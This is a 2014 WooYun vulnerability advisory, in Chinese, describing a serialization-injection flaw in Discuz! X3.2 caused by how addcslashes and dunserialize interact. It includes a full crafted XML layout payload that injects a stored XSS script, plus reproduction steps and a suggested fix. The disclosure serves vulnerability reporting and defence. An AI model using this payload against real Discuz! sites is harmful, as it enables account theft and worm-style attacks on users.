当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075963

漏洞标题:Discuz!的addcslashes对序列化字符串处理不当造成数据注入

相关厂商:Discuz!

漏洞作者: 刀尖上起舞

提交时间:2014-09-13 19:57

修复时间:2014-12-12 19:58

公开时间:2014-12-12 19:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开

简要描述:

首先声明一点,这个漏洞2014-09-10在“腾讯安全应急响应中心”发过,账号现已放弃,对于腾讯不想多说什么
问题描述:
Discuz_X3.2及以下
可盗取管理员、用户信息,蠕虫攻击等

详细说明:

source\class\discuz\discuz_database.php

public static function quote($str, $noarray = false) {
if (is_string($str))
return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';
.....

source\function\function_core.php
function dunserialize($data) {
if(($ret = unserialize($data)) === false) {
$ret = unserialize(stripslashes($data));
}
return $ret;
}
“return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';”这句会把ascii的1A转换成3个字符,分别是ascii的0H,33H,32H。
通过提交1A可以让dunserialize()函数if返回false调用“$ret = unserialize(stripslashes($data));”,
这句会将数据再次addcslashes一次,如果提交的数据中有\就会产生数据的覆盖,
比如'a:2{s:4:"key1";s:4:"\\\\";s:4:"key2";s:4:"data";}'会变成'a:2{s:4:"key1";s:4:"\\";s:4:"key2";s:4:"data";}'。
如果这两个数据都是可提交的,就可以通过提交适当的\造成注入而改写数组的值、增加数组、实例化对象等。

漏洞证明:

下面个人空间的XSS
通过布局数组改写$blockdata['parameters'][$blockname]['title']参数的值绕过过滤


<?xml version="1.0" encoding="ISO-8859-1"?><root>
<item id="diypage">
<item id="frame`frame1">
<item id="attr">
<item id="name"><![CDATA[frame1]]></item>
<item id="moveable"><![CDATA[false]]></item>
<item id="className"><![CDATA[frame cl]]></item>
<item id="titles"></item></item>
<item id="column`frame1_left">
<item id="attr">
<item id="name"><![CDATA[frame1_left]]></item>
<item id="className"><![CDATA[z column]]></item></item>
<item id="block`profile">
<item id="attr">
<item id="name"><![CDATA[profile]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]]></item>
<item id="href"><![CDATA[";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}s:11:"block`album";a:1:{s:4:"attr";a:3:{s:4:"name";s:5:"album";s:9:"className";s:15:"block
move-span";s:6:"titles";a:3:{i:0;a:8:{s:4:"text";s:4:"相册";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}}s:20:"column`frame1_center";a:1:{s:4:"attr";a:2:
{s:4:"name";s:13:"frame1_center";s:9:"className";s:8:"z column";}}s:19:"column`frame1_right";a:1:{s:4:"attr";a:2:
{s:4:"name";s:12:"frame1_right";s:9:"className";s:8:"z column";}}}}
s:13:"currentlayout";s:5:"1:2:1";s:10:"parameters";a:2:{s:7:"profile";a:2:{s:5:"title";s:30:"<script>alert
("xss");</script>";s:9:"banavatar";s:6:"middle";}s:5:"album";a:2:{s:5:"title";s:4:"相册";s:7:"shownum";i:8;}}}]]
></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item>
<item id="block`album">
<item id="attr">
<item id="name"><![CDATA[album]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[相册]]></item>
<item id="href"><![CDATA[http://]]></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item></item>
<item id="column`frame1_center">
<item id="attr">
<item id="name"><![CDATA[frame1_center]]></item>
<item id="className"><![CDATA[z column]]></item></item></item>
<item id="column`frame1_right">
<item id="attr">
<item id="name"><![CDATA[frame1_right]]></item>
<item id="className"><![CDATA[z column]]></item></item></item></item></item></root>
home.php?mod=spacecp&ac=index
1. urlencode编码xml布局修改layoutdata,post提交
2. 空间首页,装扮空间,编辑相册,模块名称,ascii“1A5c5c5c”(引号中的)确定
3. 再次编辑,确定(不用修改)
最后保存空间

图片1.jpg


图片2.jpg


图片3.jpg


图片4.jpg


修复方案:

处理return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';语句的\032

版权声明:转载请注明来源 刀尖上起舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-15 10:37

厂商回复:

路人甲是老朋友了,曾提出很多产品问题,这里再次感谢,我们会尽快处理。

最新状态:

暂无